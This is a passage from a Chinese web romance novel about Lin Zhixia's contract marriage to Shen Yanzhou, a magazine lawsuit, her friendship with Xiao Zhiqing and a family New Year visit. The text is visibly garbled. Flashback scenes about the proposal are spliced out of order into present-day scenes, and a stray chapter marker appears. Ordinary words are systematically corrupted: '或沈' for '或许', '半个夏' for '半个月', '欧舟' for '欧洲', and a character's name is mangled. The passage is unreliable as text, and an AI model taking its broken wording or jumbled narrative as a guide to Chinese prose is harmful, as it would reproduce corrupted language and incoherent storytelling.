林知夏下意识的说谢谢,然后捧着杯子抿了小口,淡淡的麦香掺杂着一些清香味在嘴里漾开。 见沈砚舟还没说话,林知夏下意识的抬头看了他一眼。 手机放在他面前的桌上,他一只手拿着水杯,两根手指还是习惯性的在杯壁上轻点着,不带任何情绪的盯着自己看。 那一刻,林知夏还是下意识的挪开视线。 接着,就听到沈砚舟说,“世界还真小啊。” 一时间不知道是在嘲讽还是在感慨。 林知夏想过和他见面的场景,但这种被长辈撮合到一起吃饭的场景,却不在她预想的范围里。 林知夏小心翼翼的说:“我也没想到会是你。” 沈砚舟轻笑了声,“经常做这种事儿?” 林知夏抬起头,疑惑的看着他,“什么?” 刚问完,林知夏意识到他说的这种事是什么事。 她补充一句,“也不是。” 只是两人实在是算不上熟人,说是陌生人也不为过。 毕竟他们的交集,真的很少很少,那些还都是在高中。 他完全可以装作不认识自己了,然后她可以自我介绍一下,再假装寒暄两句。 好在没多一会儿,服务员就带着ai机器人上菜了。 两人安静的吃着饭,林知夏以为气氛会一直这么安静下去。 直到沈砚舟说:“这里的菜挺正宗的,听我们家老头子说你才回国,如果喜欢的话,多吃点。” 他又补充一句,“不吃也浪费。” 虽然知道今天坐在他面前的是别人,他也会这么说,但林知夏听到他说这句话,还是在心里荡起涟漪。 原以为自己早就心如止水了,可在这一刻,她还是这么没出息。 那天两人说的话不超过十句,他当时接了一个电话要回公司,这顿饭就草草的结束。 两人分开的时候,沈砚舟问她这家味道怎么样。 林知夏点头,说很好吃。 沈砚舟像是很满意她的回答,嘴角微微扬起。 林知夏其实不怎么喜欢川菜,但她知道沈砚舟喜爱辣口。 回去的路上,林知夏又不禁想,他是不是也跟别的女人来过,也会这么满意的对她们笑。 差不多三天后,爷爷问她对小伙子满不满意,林知夏看着爷爷一脸期待,只是笑笑又点点头,“他挺好的。” 池绯没有送林知夏回家,而是去了一家粤菜馆。 这家餐厅老字号了,以前两人就经常来,林知夏喜好甜口,这家店很符合她的口味。 林知夏快一年没有回来了,没想到这家店越来越好,现在还把二楼也包了下来。 两人坐在二楼靠窗的位置,看着下面熙熙攘攘的人群,粥底火锅里往外冒着热气,林知夏已经迫不及待拿着汤勺从锅里舀出珍珠贝。 林知夏沉浸在食物的美味里,“我在洛杉矶做梦都在想着这一口粥。” 见池绯还一脸疑惑的盯着自己,眯眼笑笑,“当然,也想你了,你跟粥底火锅缺一不可。” 池绯一边这才拿起公筷往锅里加鱼肉和虾肉,一边说:“你老实说,你跟沈砚舟是联姻吧?” 她又自说自话,“但联姻哪有你这样的,两家公司也没对外宣布,就低调闪婚了。” 林知夏鼓着腮帮子一边说,“真没有,我们结婚真的就只是” 林知夏咀嚼的动作忽然停了,抬头看着池绯,池绯显然在等她说下面的话。 池绯:“别再用你们以前就认识,我还不知道你,你跟他的交集一只手都数的过来。” 池绯作为她的好友兼两年同桌,对林知夏的高中显然是知根知底。 搪塞别人还行,但敷衍她,显得有点假。 林知夏咽下嘴里的食物,喝了口一旁的热饮,“我爷爷跟他爷爷认识,我去年出国前,我们在一家餐厅刚好遇到了,我就问他能不能跟我结婚。” 池绯像是听到了什么不得了的话,“你跟他求婚的?” 林知夏想了想,“算是吧。” 和沈砚舟的第二次见面很突然,是过完新年后,她要去洛杉矶的前两天。 本科的一个关系还不错的学弟,说是想趁着林知夏还在国内,想跟她聊聊自己遇到的瓶颈问题。 对于专业上的事情,林知夏总是很乐于助人,便一口答应了。 但谁知道会在这里遇到沈砚舟,两人还在隔壁桌,他穿着很正式,他面前坐着一个女人,看起来很干练也很有气质。 林知夏当时还在听学弟说话,只是觉得有人看盯着自己看,才下意识的瞥了眼,沈砚舟的目光深邃,此刻看着她,好像是无尽的黑夜,让人捉摸不透他在想什么。 林知夏立刻挪开目光看向别处,似乎是自己出神的时间太久了,学弟下意识的多喊了自己两声学姐。 林知夏才缓过神来,小声的说出自己的见解。 林知夏有些心不在焉,但还是努力克制着自己不要去注意他,可心里还是会想,他面前的女人会不会是他的另一个相亲对象。 一想到前两天爷爷说沈老爷爷家两个孙子都还挺受欢迎的。 但奈何小孙子不在国内,沈家老爷子就总是想方设法让大孙子去相亲。 林知夏跟学弟离开的时候,林知夏用余光看了眼沈砚舟,他好像还在跟他面前的那位女士说话。 即使是匆匆一眼,也能感觉出来,两人谈话很愉快。 至少比跟自己吃饭那次愉快很多。林知夏在机场大厅一边等一边给沈砚舟发消息。 问出那句话后,她也很忐忑。 也不知道他会不会答应。 但等到肖至清走到自己跟前,都没等到沈砚舟的消息。 估计他是有什么事情在忙。 肖至清见她魂不守舍,调侃说:“不知道的还以为是我来接你的。” 林知夏看到肖至清,眯眼笑了笑,把准备的鲜花递给他,“至清哥,欢迎回来。” 助理帮他把行李箱拿上车,两人坐在后座,去了林知夏定的餐厅。 肖至清低头把花放到鼻尖闻了闻,又打量起来,“这花是你自己插的吧?” 林知夏:“嗯,我觉得还挺好看。” 肖至清把花放到一旁,问她,“不是说要带你老公一起来的?” “他人呢?” 林知夏:“他刚好有点事情在忙,来不了了。” “下次,下次再介绍你们认识。” 肖至清像是知道些什么,但什么也没说。 跟肖至清认识那年,林知夏才初二,当时肖至清去南淮旅游,在海边遇到一群小孩在打闹,就顺手拍了下来。 旁边的林知夏带着帽子,一个人拿着铲子和桶在那挖贝壳。 肖至清单独为她拍了两张,林知夏看了他一眼,什么也没说,继续挖贝壳。 肖至清走过去问她挖了多少,林知夏也不说话,继续挖。 肖至清过去跟她说了好几句话,但林知夏只看了他几眼,什么也没回答。 等桶里的贝壳满了,她就拎着桶起身往外面走了。 肖至清只觉得她不爱说话,后来他进了旁边一家海鲜店,看到林知夏正在一个座位上写作业。 他走过去打招呼,“原来你住在这儿啊?” 一个上了点年纪的老人走过来,问他吃什么,又让林知夏把作业本拿到别的地方去,别打扰到客人。 肖至清说没关系,说跟林知夏刚刚在海滩已经见到过了。 老人这才没有继续说。 等人走后,肖至清检查刚刚拍的照片时,忽然看到林知夏盯着他手里的相机看。 肖至清把相机取下来给她看,“想玩吗?” 林知夏说:“你想捡贝壳吗?” 肖至清问:“什么意思?” 林知夏:“我可以带你一起捡贝壳,我想看看你的相机。” 肖至清觉得还挺有趣,就答应了她。 又问:“刚刚我在外面跟你说话,怎么不搭理我?” 林知夏:“妈妈说不能跟主动跟我说话的陌生人说话。” 肖至清笑了下,耸耸肩,“我看着像坏人吗?” 见林知夏不说话,他又问:“那怎么现在又说话了?” 林知夏:“因为你来我家吃饭了,是客人。” 肖至清有点哭笑不得。 吃个饭的功夫,他教林知夏怎么用相机拍照,怎么查看,按照约定,林知夏在他吃完饭后带他去赶海。 夕阳西下,火烧云晕染了半边天。 肖至清给她拍照,忽然发现相机里有很多自己的照片,不用猜也知道是谁拍的。 林知夏出国后的几年里,两人联系都很少。 一顿饭,两人吃的时间很长,聊了很多近况。 肖至清说自己接手了家里的产业,这两年经常出国,都没有自己的个人时间。 两人住的地方不顺路,林知夏原本打算自己坐车回家的。 但肖至清说先送自己回家,再让司机送她。 大晚上的,她一个女生,他怎么可能放心。 他看了眼腕表,已经快九点了,疑惑的说,“奇怪,你真结婚了吗?” “这么晚了,你老公还放心你一个人在外面?” 林知夏一顿,“他今晚可能有事情在忙。” 肖至清只看她一眼,看不出什么情绪,只说:“他有时间的话,安排我们见见,我好歹也算是你娘家人。” “时间随他安排,我来配合。” 林知夏笑笑,“谢谢至清哥。” 肖至清下车前,林知夏喊住他,说:“你以前说人找到一件热爱的事情是难能可贵的,如果你找到了,就一定要坚持下去。” “那你现在还喜欢摄影吗?” 肖至清:“喜欢,一直都没有放弃,只是我现在花在这上面时间不多。” 林知夏点点头,肖至清下了车,让司机送林知夏离开。 没一会儿,林知夏收到他的一条消息:【有机会我们一起去采风。】 林知夏不觉笑了笑。 回到家,林知夏迫不及待的想跟沈砚舟分享。 肖至清对她来说,是亦兄亦友的存在,也是帮她在孤独且无趣的生活里,找到第一件热爱且想一直坚持下去的人,所以想分享给沈砚舟。 只是一开门,发现家里的灯是关着的。 她刚按开开关,就看到沈砚舟靠着沙发休息,他身上酒气很重。 林知夏随意的把包扔在一边,走到他跟前,眼里满是担忧:“你喝醉了?” 沈砚舟睁开眼看她一眼,没说任何话。 林知夏起身去桌前给他倒了杯蜂蜜水。 她低头搅拌,沈砚舟不知道什么时候走到他身后,林知夏下意识的转身,就看到沈砚舟一脸面无表情的盯着自己看。 沈砚舟靠近她一步,“吃饭吃的开心吗?” 林知夏一顿,感觉他好像有点生气了,林知夏想解释,“我去机场见的人叫肖至清,我们认识很久了,他对我来说” 沈砚舟忽然抬手,做了一个打住的手势。 沈砚舟像是随意笑了声,“不用跟我说的那么详细,毕竟跟我也没什么关系不是?” 沈砚舟又说:“林知夏,你还记得你当时跟我结婚,是怎么说的吗?” “你说爷爷很担心你,知道我也被催婚,问我们能不能合作,甚至还说可以签婚前协议,离婚了会净身出户,你这样送上门来跟我求婚,真的给我解决了很多问题。” 沈砚舟说的每个字都像是往他心脏的位置丢了一颗石头。 眼泪不自觉的在眼眶打转,这跟她想象的场景很不一样。 他一定是喝醉了。 沈砚舟伸手碰了下她的脸,林知夏下意识的躲开,并不想让他触碰。 沈砚舟一只手悬空,又捏了捏拳,随后放下。 他叹了口气,说:“如果你哪一天有了喜欢的人,就要勇敢去追求,毕竟跟我在一起,只是缓兵之计。” 他看着她快要夺眶而出的眼泪,一字一字的说:“毕竟我们没有感情。” 说完,他拿着她倒好的那杯蜂蜜水转身离开,还轻声说了句谢谢。 林知夏看着他拿着杯子进了房间,随后把房间门关上。 他似乎并不是在吃醋,而是真的在鼓励她去追求喜欢的人。 这句话真的很残忍,特别是由他说出来。 当晚,林知夏失眠了。 他真的是在为自己跟别的男人单独吃饭而吃醋吗? 可是他表情也太严肃和正经了,严肃到都觉得他不是在说气话。 林知夏打算第二天等他问她。 但第二天一早,她起床打算做早餐,却发现主卧的门是开着的,沈砚舟已经离开了。 林知夏一时间觉得有点说不出的滋味。 今天下了雨,林知夏撑伞出门,但出地铁站到公司还有十分钟距离,她外套还是有点湿了。 她觉得应该买一辆代步车。 她在工位上还没坐热乎,池绯的电话就打了进来。 林知夏一边拿着纸巾擦鞋,一边接起来。 池绯说:“你人在哪呢?我刚刚去找莉姐,她说方羽影视法务部起诉我们了,还说要你公开对梁晓敏道歉。” 林知夏一顿,本以为这件事已经过了,没想到还有后续。 不过想想也是,方羽失去了这么大的投资,怎么可能会甘心。 林知夏挂了电话后,直接去了莉姐的办公室。 但没想到会在办公室里看到肖至清,她一脸诧异,“你怎么在这儿?” 肖至清坐在沙发上,面前放了一台笔记本电脑,笑了声,“那我该在哪?” 莉姐看到两人这么熟络,还真有点看不懂了。 林知夏这才反应过来这是在莉姐办公室,跟莉姐说,“莉姐,我听说方羽” 来之前,林知夏还在微博上看到了那封律师函,还有当时出外景他们录的语音。 不过那些录音是经过剪辑的,对方羽不利的话全剪掉了,导致好像是林知夏她们在咄咄逼人。 有了这些录音,再加上有公司撑腰,那些粉丝就更加变本加厉冲官博。 肖至清:“具体情况我已经知道了,先让公关部去回应,给出我们的态度,就刚刚说的那些,再去找人做他们放出录音的专业鉴定。” 莉姐着急部门开会,留林知夏在办公室。 林知夏忽然想起莉姐前两天说的,公司的创始人是肖总。 林知夏一脸诧异,“真我风格的大股东是你啊?” 肖至清耸耸肩,“真我就是我大学工作室的前身,后来我没有心力放在这上面,就放手让他们去做了。” 他又补充,“不过你进这家公司跟我可没关系。” 林知夏笑,“这我当然知道,我的实力我还是清楚的。” 肖至清示意她坐,又说:“毕竟你有个这么有实力的师傅,不想厉害也不行。” “不过你眼睛怎么肿了?” 林知夏一顿,“昨晚失眠了,一直没睡着。” 肖至清看破不说破,“所以有的人失眠是眼睛肿了,不是黑眼圈。” 林知夏只能苦笑两声,回归正题,“这件事闹得这么大,一开始只是不满意我的拍摄。” 肖至清:“你把自己想的太厉害了,你哪有那本事啊。” “她一个二线女演员哪有实力跟一个杂志社对抗,虽然说真我不算大品牌,但一旦有了这个例子,后续的杂志社跟那个女演员合作前,都会有考量的。” 林知夏没想到里层的关系,“所以你是说,梁晓敏并不是针对我,而是方羽在针对真我?” 肖至清:“可以这么说。” 林知夏:“该不会是冲你来的吧?” 肖至清笑,“怎么了?想让我给你背锅?” 林知夏:“您刚刚不是说跟我没关系吗?” 肖至清:“我跟方羽没有交集,而且我是以个人股东身份入股的真我,目前来说,是不会把我跟真我联系上的。” 在走出电梯那一刻,她对学弟说自己好像把围巾落下了,让他先走,然后又急匆匆的回了餐厅。 走到餐厅旁边,她透过落地窗看到沈砚舟的位置上并没有人,但他面前那位女士还在。 露天的走廊忽然一阵寒风吹过,林知夏下意识的把半张脸缩在围巾里。 她没有去往电梯的方向,沿着露天走廊往前走,冬天的夜里,几乎看不到人,林知夏只能看到自己的影子,被逐渐拉长。 耳边都是大风呼啸而过的声音,林知夏也不知道自己想做什么,她好像被冻傻了。 “先启动备用方案吧,如果明天还解决不了” 那个熟悉的声音忽然变得正经起来,像在说什么严肃的事情。 林知夏循着声音的方向望去,沈砚舟穿着一件黑色的大衣,骨节分明的左手随意的放在一旁栏杆上,两根手指还是下意识的点了点,另一只手拿着手机放在耳边说话。 他显然没注意到身后有人在看他。 林知夏也不知道盯着他的背影看了多久。 她以前总是习惯性的看着他的背影,似乎已经成了一种享受。 所以在他挂了电话转身,看到他也一怔时,林知夏也不知道怎么的,鼓起勇气走到他面前。 明明晚上没有喝酒,但那一刻大脑就是不受控。 她站在他面前,她看到自己的影子打在他身上,他问,“有事?” 林知夏把半张脸从围巾里拿出来,她穿着一件浅粉色的大衣,双手放在口袋里,大拇指已经嵌到肉里里,快要剜出血了。 这是她努力保持镇静的一种方法。 林知夏:“好巧。”晚上的时候,肖至清让林知夏留下,他带着林知夏去见了一个律师,也是目前真我风格法务部的主管。 肖至清说让他担任林知夏的个人律师,直接起诉梁晓敏。 三个人一边吃饭一边讨论,律师很擅长这方面的案例,让林知夏不要害怕。 林知夏自己倒是没什么,她只是害怕连累了整个杂志社。 快结束时,律师问了句题外话,“林小姐,你有没有得罪过什么人?其实抛开专业性不谈,他们其实针对性很明显,偏偏在你入职后不久,我更倾向有人针对你。” 但林知夏说自己才回国不久,压根没机会跟人结仇。 “不过我跟方羽的方舒导演是旧友,我们大学时一个专业不同类别。” 肖至清听到,不觉发笑,“所以你们认识?” 林知夏摇头,“大学没有交集,只是知道有这么一个人。” 三个人准备离开,林知夏没想到会在走廊看到沈砚舟在一旁接电话,他的视线刚好也扫过来。 “林知夏” 沈砚舟没有立刻回答,他停顿的两秒,林知夏甚至能听到自己的心跳声。 沈砚舟说话语气又变得如他平日那股散漫,“你那学弟呢?把他扔了来找我,不太好吧?” 林知夏没回答,沈砚舟又那副开玩笑语气说,“也不知道我故意听墙角啊,只是我们俩桌离得太近了,我听力十级,我也没办法。” 他还无奈的耸耸肩。 林知夏见他一副散漫的姿态看着自己,下意识的躲避他的视线,接着她又抬起头,说,“我是来找东西的。” 沈砚舟一点也不留情面的戳穿她,“我可没看到你落下了什么,就算落下” 林知夏甚至都没听他说完,直接说,“沈砚舟,你是在相亲吗?” 沈砚舟忽然顿住,语气变得带着冷意,“关你什么事?” 林知夏觉得自己心跳从来没这么快过,她口袋里大拇指已经嵌到了肉里,好像已经流血了。 她说:“我是说,你觉得我我可以吗?” 沈砚舟像是没明白她说的,“什么意思?” 林知夏抬头看他,他也正垂眸盯着自己,林知夏说出了平生最大胆的话。 “我可以跟你结婚吗?”《 》 55-60 第 56 章 第五十六章 上了发条的快节奏生活忽然慢下来,林知夏还有些不适应。 第二天起床,肖至清给她发了微信,只有一张截图,方舒那部电影的女主,被换掉了。 理由是梁晓敏身体不舒服,自己退出。 她自己还发了微博,跟粉丝道歉,也希望这件事不要牵连其他人。 不过粉丝压根不买账,觉得这些肯定是因为真我风格从中作梗。 甚至极端的粉丝把这件事跟林知夏联系在一起,说肯定是林知夏搞鬼的。 甚至还有营销号说林知夏背后是京圈的人。 林知夏庆幸自己没有微博,不然梁晓敏粉丝的私信都能把她号子炸掉。 这几天沈砚舟都按时下班,林知夏会在他下班前把饭做好,下班后两人会一起吃晚饭。 虽然话不多,但气氛还算和谐。 不过林知夏还惊讶他不用加班,居然天天能按点下班。 今晚两人坐在餐桌前,林知夏说:“谢谢,不过你不用管的,毕竟跟你没什么关系。” 沈砚舟一顿,抬眼看她,“说清楚。” 林知夏:“换掉了女主。” 沈砚舟:“我单纯的看不惯她。” “你不会以为我是因为她欺负你才换掉她的吧?” 林知夏也抬头看他一眼,见沈砚舟的目光还在自己身上,下意识的挪开眼,“我只是觉得你没必要因为她破坏了你们公司跟方羽的合作。” 沈砚舟:“你看不起谁呢?能看上他们公司,完全是给老头子面子,你该不会以为京鸿得靠他们吧?” 林知夏:“那是你们的事,方羽确实给公司创造了额外的利润,股票也因为那部电影涨了不是吗?” 沈砚舟:“没有那部电影,京鸿照样在京市横着走。” “林知夏,你真的很在意。” 林知夏:“我当然在意,毕竟我们公司还在跟他们公司打官司,但我丈夫的公司却在跟他们谈合作。” 沈砚舟还是第一次听到林知夏这么称呼自己。 其实感觉起来,也还不错。 沈砚舟见林知夏脸上并没有多余的表情,他犹豫片刻,“林知夏,你能不能” 林知夏送了口菜到嘴里,边问,“怎么了?” 沈砚舟:“你能不能不是,你一定要在肖至清的公司工作吗?” 林知夏怔了一下,“你知道真我风格背后的人是至清哥?” 沈砚舟没有回答这个问题,而是说:“杂志社这么多,怎么就非得是他的公司,你想去哪个公司,我帮你去。” 林知夏:“如果只是因为性别,你才想让我换公司,我不接受。” “我记得我以前跟你说过,我选择那家公司的原因,而且在进入这个公司之前,我并不”林知夏说着说着,忽然想起来,那天说到自己入职的公司,沈砚舟情绪就不怎么好。 所以他那时候就知道真我是肖至清的公司。 她一时间竟然不知道他到底是在关心自己,还是在关心肖至清。 林知夏:“你跟至清哥,有生意上的往来?” “还是说,你们有竞争关系?” 沈砚舟咬了咬牙,什么竞争关系。 你结婚了,知道吗?林知夏,他没有资格跟我争。 沈砚舟哼一声,“没有。” 今天陈苏然没有戏,她上午参加完一个广告拍摄后,就跟林知夏约了下午茶。 两人聊了些近况,林知夏看到陈苏然并没有被网上那些事影响到,放下心来。 又说到前几天那件事,陈苏然说:“其实,我也差点被换了。” 林知夏一顿,陈苏然说:“其实具体情况我也不知道怎么回事,就是导演那天跟上面开会,说是资方想换女主,我还想着能好好休息了。” “但谁知道没等来被换,而是悦辰娱乐的融资,我们这部剧还因为悦辰,从A级升级到了S级项目。” “那天还有热搜,你看见了吧?” “悦辰请全剧组吃了火锅。” 林知夏看到了那天工作人员拍的照片,上面写的是陈苏然的好朋友林小姐请大家吃火锅。 剧组的人,多多少少也会关注热搜,所以一看姓氏,就猜到是林知夏。 原以为是陈苏然在维护们林知夏,但这样的大手笔,说不定林知夏真的有隐藏背景。 大家也会对此有所忌惮。 但至于具体是什么,就让他们猜去。 不过这一行为狠狠打脸了方羽那些人。 虽然沈砚舟没承认,但这些事除了他,没人会做。 沈砚舟晚上回家,林知夏没有做饭,她在家等沈砚舟。 沈砚舟见她穿着整齐,下意识的问:“你有约会?” 林知夏:“没有,家里没菜了,得去超市买菜。” 沈砚舟点点头,没说话。 林知夏又问:“你要不要一起?” 沈砚舟下意识的指了指自己,你在问我? 林知夏顿了一下,走到玄关处换鞋,边说:“你不想去就算了。” 沈砚舟反应了一瞄,快步走过来,把快要脱下的外套又重新穿上,说:“行啊,刚好在办公室坐了一天,活动活动也是好的。” 其实原本七点还有一个跨国会议的,沈砚舟趁着下电梯的功夫,给助理发了条消息,让他找公司某个副总替自己去那个会议,让他明天把会议的文字版报告放到桌上。 最后还不冲一句,晚上算加班,三倍工资。 林知夏记得两人上次一起去超市,已经是半个夏前的事情了。 这半个夏除了争吵就是沉默,有问题还是需要沟通的。 毕竟,沈砚舟也没那么不在意自己。 沈砚舟下意识的帮她拉着土推车,林知夏买的菜都是他喜欢吃的。 今天超市的人格外的多,两人排队结账时,林知夏忽然说,“沈砚舟,谢谢你帮我和我的朋友,虽然每次都说不想麻烦你,但好像都在麻烦你。” 如果不是沈砚舟,或沈陈苒真的会被资本做局给换掉。 见林知夏一脸自责,沈砚舟还心里窃喜又有点说不上来的意味,但面上还是说:“这事儿对我来说就跟吃饭喝热水一样简单。” 他忽然靠近一步,两人之间的距离很近,林知夏下意识的低头下,沈砚舟却故意弯腰跟她对视,“林知夏,看来你对你老公的实力一无所知啊。” 明知道他在调侃自己,但林知夏还是下意识的躲掉。 这可是超市,后面还有别人在排队。 她直接转身朝向另一边,沈砚舟直起腰,站在林知夏身后垂眸看着她面前的东西。 他说的饶有深意,“原来你在看这个啊。” 林知夏一脸疑惑的回头,沈砚舟示意了用眼神提示,林知夏就顺着他的视线看过去。 居然是 她连忙转过身来,“没有,我没看。” 前面结账的人往前走了两步,林知夏像逃跑一样快步跟上前面的人。 沈砚舟不急不慢的推着车跟在后面,还故意在她身后说,“家里还有好多呢。” “天天又不用,过期了怎么办?” 林知夏:“” 她假装没听到。 她真的只是单纯想跟他一起逛超市,缓和一下关系,仅此而已。 晚饭也是两人一起做的,比起上一次,这次两人的默契更好。 沈砚舟也更加的熟练,不再会出现那些低级错误。 吃饭的时候,沈砚舟给林知夏夹菜,说:“晚上来主卧?” 林知夏一顿,他们不是才和好吗? 见林知夏没说话,沈砚舟又说,“要不你直接搬回主卧吧,我真买了一盏五颜六色的小夜灯。” “我尝试了开着夜灯睡觉,其实也能接受,光线也没多亮。” 他又说的结结巴巴,“其实我也没那么挑剔吧。” 林知夏低头专注吃饭,一直往嘴里塞菜,不打算回答。 沈砚舟忽然按住她的手,林知夏鼓着腮帮子抬头看他,脸颊不觉染着粉色。 沈砚舟说:“其实我也没那么不讲道理啊,你就算不愿意,我也不会强迫你啊,就是夫妻嘛睡一个房间很正常吧?” 林知夏看着沈砚舟扭捏且极其不自然表情,忽然没忍住笑了出来。 沈砚舟清清桑故作一本正经,“就当你答应了啊。” 吃过饭后,沈砚舟一边说真的得买个洗碗机回来,一边戴上手套洗碗。 林知夏洗完澡出来,沈砚舟就站在门口,林知夏吓了一跳。 沈砚舟说:“我刚刚换了床单,你买的那个新的。” “我晚上还有点事,你先睡,我待会儿就去。”去公司第一天,林知夏还打着哈欠。 她觉得还是得跟沈砚舟商量一下,床上的事还是得节制一些。 再怎么样,也只能隔天一次。 这个强度也太大了,真的让人吃不消。 不过复工才一周,沈砚舟有工作安排,需要去欧舟半个夏。 临走前,沈砚舟只问她,新公司还适应吗? 林知夏当时还觉得意外,他开始主动关心自己。 不过她也如实说,说熟悉公司流程顺利,同事相处的也都融洽,领导也很好。 不知道是不是林知夏会错意了,她总觉得沈砚舟当时的笑里面带着不屑。 去欧舟的半个夏,他也没主动给林知夏打过一个电话。 有时候林知夏又觉得他对自己的那点儿爱意是假的,是她想的太多了。 要不然在床上那么热情索求的一个人,怎么会在出差的半个夏里一个电话也没有,就算没有,发条信息也是好的。 不过两人倒是真的有聊过,林知夏主动给他发的,说自己跟池绯逛街,买了两套桌布,想把家里的桌布换掉,问他喜欢什么颜色的。 或沈是时差的原因,沈砚舟隔了半天才回,说她喜欢就行。 除此之外,两人再无交流。 林知夏虽然不善言辞,性格也慢热,但专业实力很强,融入公司也很快。 一周便能上手开始让主编安排任务。 主编是个女强人,大家都喊她莉姐,在工作上雷厉风行,但私下里又格外和蔼。 一个夏来,林知夏拍过两个三线小演员,知名度不高,但因为她独特的构图和犀利的角度,把她们的美放大数倍,在小范围内还是有一定的水花。 林知夏看着手机日历,明天就是沈砚舟回国的日子,她在想要不要问问他几点的航班,到时候要不要回家吃饭。 这时候,莉姐的消息弹出来,让她去一趟办公室。 林知夏进来,莉姐大概说了下,下个拍摄可能需要户外,这也事她第一个户外的拍摄,可能就多叮嘱几句。 林知夏在自己专业领域还是有点信心的,说自己会努力。 莉姐笑笑,“我当然相信你,只是这次拍摄的人,有点不一样。” 林知夏:“是个一线?” 他说完,忽然往前两步低头在她唇上亲了一下,虽然满意的笑了笑,什么也没说,进了书房。 不知道怎么的,看着他的背影,林知夏确定他一定是有点喜欢自己的。 林知夏在门口纠结了两秒,还是去了主卧。 房间明显收拾过了,换下来的被单还放在脏衣篓里。 林知夏把床单放到洗衣机里,再去吹的头发。 见沈砚舟还没回来,就跟池绯包了个电话粥。 听出林知夏语气里的轻快,她说:“跟你老公和好了?” 林知夏低头害羞的笑了下,“算是吧。” 池绯叹了口气,“哎呀,早知道不劝你和好了,这样你就能来我家陪我。” “某些人还说要租个离公司近的房子,倒是去租啊。” 林知夏无奈,“我现在住的离公司也不远啊。” 池绯:“现在所有事情总算都解决了,不管是方羽还是你老公,不过我也没想到肖至清居然是我们boss。” 林知夏没理这句话,说:“告诉你个秘密,其实我跟他,开学前就认识了。” 林知夏说那天她才来京市不久,因为不喜欢在林家待着,总是一个人拿着相机到外面边走边拍,然后就忽然看到了他。 池绯一脸八卦,“然后你就爱上了。” 林知夏笑,“没那么夸张。” 池绯:“那你老公知道吗?” 林知夏摇头,“不想让他知道,我们现在过得也不错。” 不过或沈以后,等他再喜欢自己一点,可以告诉他。 两人正聊得起劲,林知夏无意中看到站在房间门口的沈砚舟,吓了一跳。 跟池绯说了两句下次再聊,就挂了电话。 她把手机扔到一边,从床上站起来,有些心虚的说:“你工作结束了?” 沈砚舟又跟刚刚不太一样,抿着唇没什么表情。 他一边把衣服脱了,边说:“嗯,我洗澡了。” 见他又准备脱裤子,林知夏撇过头不去看,“我没告诉你直接进来了。” 沈砚舟把脏衣服随意的扔到脏衣篓了,又看到换下来的床单不在里面,还是面无表情,“嗯,毕竟是我让你来的。” 林知夏有一瞬的失落,但并没有多想,只说,“床单我洗了。” 说着想起来,边走出去边说,“我去拿出来晾干。” 林知夏有点懊恼,他站在门口自己怎么没看到。 也不知道刚刚的话,他听到了多少。 该不会是听到自己以前就喜欢他,觉得无法接受吧。 第 57 章 第五十七章 第二天,两人去了林家拜年。 沈砚舟带来的礼品都是他母亲提前打点好的,至于送的什么,沈砚舟压根不清楚。 如果不是带爷爷去看电影,林知夏觉得今天肯定会找理由不来的。 今天林家来了好多个亲戚,都是继母郑雅的娘家人。 两人下车,林明和就在门外迎着两人。 沈砚舟牵着她的手,林知夏也习惯了,不管是在自己家人还是在他的家人面前,他总会把这些礼数做全。 每到这时候,林知夏就会有种错觉,他好像有一点点喜欢自己。 林明和见到两人,先是看了看林知夏,还带着责备的语气,“知夏,既然来了就在家多住两天,你的房间还是原来那间。” 林知夏语气平淡又疏离,“不用了,砚舟他换地方容易失眠,睡不惯别的地方。” 虽然沈砚舟是林明和名义上的女婿,但他知道这位女婿脾气大,他可不敢得罪,林家今年有了沈家的扶持,才比往常好了不知道多少倍。 虽然这些对沈家来说只是顺手的事,但不得不承认,这些都是沾了林知夏的光。 但她是自己的女儿,为家里做些贡献也是应该的。 林明和陪笑,林知夏掐了下沈砚舟的手背,沈砚舟意会,“是啊,林总,最近总是出差倒时差,还想着趁着年假,好好休息两天。” 林明和点头,“明白明白,小沈你是做大事的人。” 林明和说着走在前面引两人进了客厅,沈砚舟小声跟她说,“你现在学坏了,拿我挡枪。” 林知夏语气淡淡,“我也没想到你这么好用。” 沈砚舟轻笑了声,“是吗?” 到了客厅,一群不认识的人占据客厅主位,林知夏也没想过跟它们打招呼。 倒是里面位数一个长得有点胖的中年人招呼两人,“这个是大女婿吧?” “看上去就一表人才。” 沈砚舟并没有搭腔,敷衍的笑笑,也没有要上前打招呼的意思。 那个刚刚笑着的男人笑的脸都僵了。 郑雅接话,“今天我娘家人也都来了,小沈夏夏你们多担待点啊。” 然后示意她哥哥别自讨无趣。 坐在一旁的林挽瑶横着林知夏,又朝她翻个白眼。 林知夏不在意,想起她到林家第一天,林挽瑶就冲到自己房间里,说她是坏女人的孩子。 林知夏当时很平静,看着十岁的林挽瑶怒气冲冲,只是淡然的说,“我是你父亲的女儿,他跟我妈妈婚后生下的我,你是他们还没离婚的时候生下的,那你妈妈是不是坏女人呢?” 林知夏只记得当时小女孩被自己这句话说哭了,一边哭一边往外跑着喊妈妈。 在这之后,林明和还来跟她说妹妹还小,有些事情没必要跟她说。 林知夏只说:“是你要我来的,你愿意的话,我随时可以离开。” 林知夏虽然看起来像个温顺的乖孩子,但在很多事情上,她心里都有数。 那时候林家大女儿回家,外人都看着,林明和这么要面子的人,怎么可能会让林知夏离开。 不仅不会让她离开,还要加倍对她好,至少明面上是。 吃过饭后,借着快到看电影的时间了,带着爷爷先离开。 大抵是因为过年的缘故,电影院里人很多,这部电影营销中国独有的国画美学和真实取景,主演无替身沉浸式打戏等等,从很新颖的角度获得大众好感,经过一天的口碑发酵,第一天的票房已经一骑绝尘,预感会成为今年春节档的大热门。 林知夏买的这一场,也是几乎满座,她庆幸自己买的早,选了三个好一点的位置。 从电影院出来后,爷爷对这部电影连连称赞,又感叹要是老伴儿还在,肯定也会喜欢的。 爷爷没有继续说什么,他想去厕所,沈砚舟主动说带他去,让林知夏在大厅等一会儿两人。 林知夏站在一旁,忽然听到一对男女坐在一旁聊天,好像也是关于这部电影的。 “不过你知道这部电影导演吗?还是个新人,不过人家是方导女儿。” 说话的是男孩,女孩摆摆手,说:“现在靠关系户的多了去了,但人家自己也争气不是?” 女孩继续说:“那怎么别人爸爸是导演,刚出来自己独立指导的短篇就拿到柏林微电影最佳新人奖?” “既然做什么都会被人嚼舌根,不就代表什么都能做吗?” 看得出来,女孩已经被方舒迷上了。 不过她的确是个很有魅力的人。 两人争辩了好一会儿,男孩明显被说服了,或者说,不愿意同女孩争论。 女孩又说,“你认识谢承安吗?” 男生说:“这么大个明星谁不知道啊。” “我记得前两年有狗仔说他不是跟小方导是男朋友吗?还说两人谈了这么多年,都见了家长了。” 